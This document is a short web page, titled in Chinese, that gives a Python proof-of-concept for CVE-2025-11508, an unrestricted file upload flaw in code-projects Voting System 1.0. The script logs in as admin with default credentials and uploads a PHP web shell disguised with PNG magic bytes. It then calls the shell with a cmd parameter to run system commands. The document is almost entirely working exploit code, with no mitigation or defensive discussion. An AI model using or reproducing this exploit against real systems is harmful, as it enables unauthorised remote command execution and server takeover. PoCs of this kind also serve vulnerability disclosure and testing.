CVE-2025-11508：code-projects投票系统任意文件上传漏洞

# CVE-2025-11508 PoC - Unrestricted File Upload in code-projects Voting System 1.0 # Affected file: /admin/voters_add.php # Vulnerable parameter: photo import requests # Target configuration TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/" UPLOAD_URL = f"{TARGET_URL}/admin/voters_add.php" # Attacker credentials (requires high privilege - PR:H) USERNAME = "admin" PASSWORD = "admin123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as administrator login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } response = session.post(ADMIN_LOGIN_URL, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Prepare malicious PHP webshell disguised as image # The file contains PHP code but uses image extension bypass techniques malicious_content = b"\x89PNG\r\n\x1a\n" # PNG magic bytes to bypass content checks malicious_content += b"<?php echo 'PWNED'; system($_GET['cmd']); ?>" # Step 3: Upload malicious file via the vulnerable photo parameter files = { "photo": ("shell.php", malicious_content, "image/png") } form_data = { "voters_id": "12345", "firstname": "test", "lastname": "test", "username": "testuser", "password": "testpass", "Add": "Add" } response = session.post(UPLOAD_URL, files=files, data=form_data) print(f"[*] Upload response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Step 4: Access the uploaded webshell # The shell is typically saved in /admin/uploads/ or similar directory shell_url = f"{TARGET_URL}/admin/uploads/shell.php?cmd=id" response = requests.get(shell_url) print(f"[*] Shell access status: {response.status_code}") print(f"[*] Command output: {response.text}")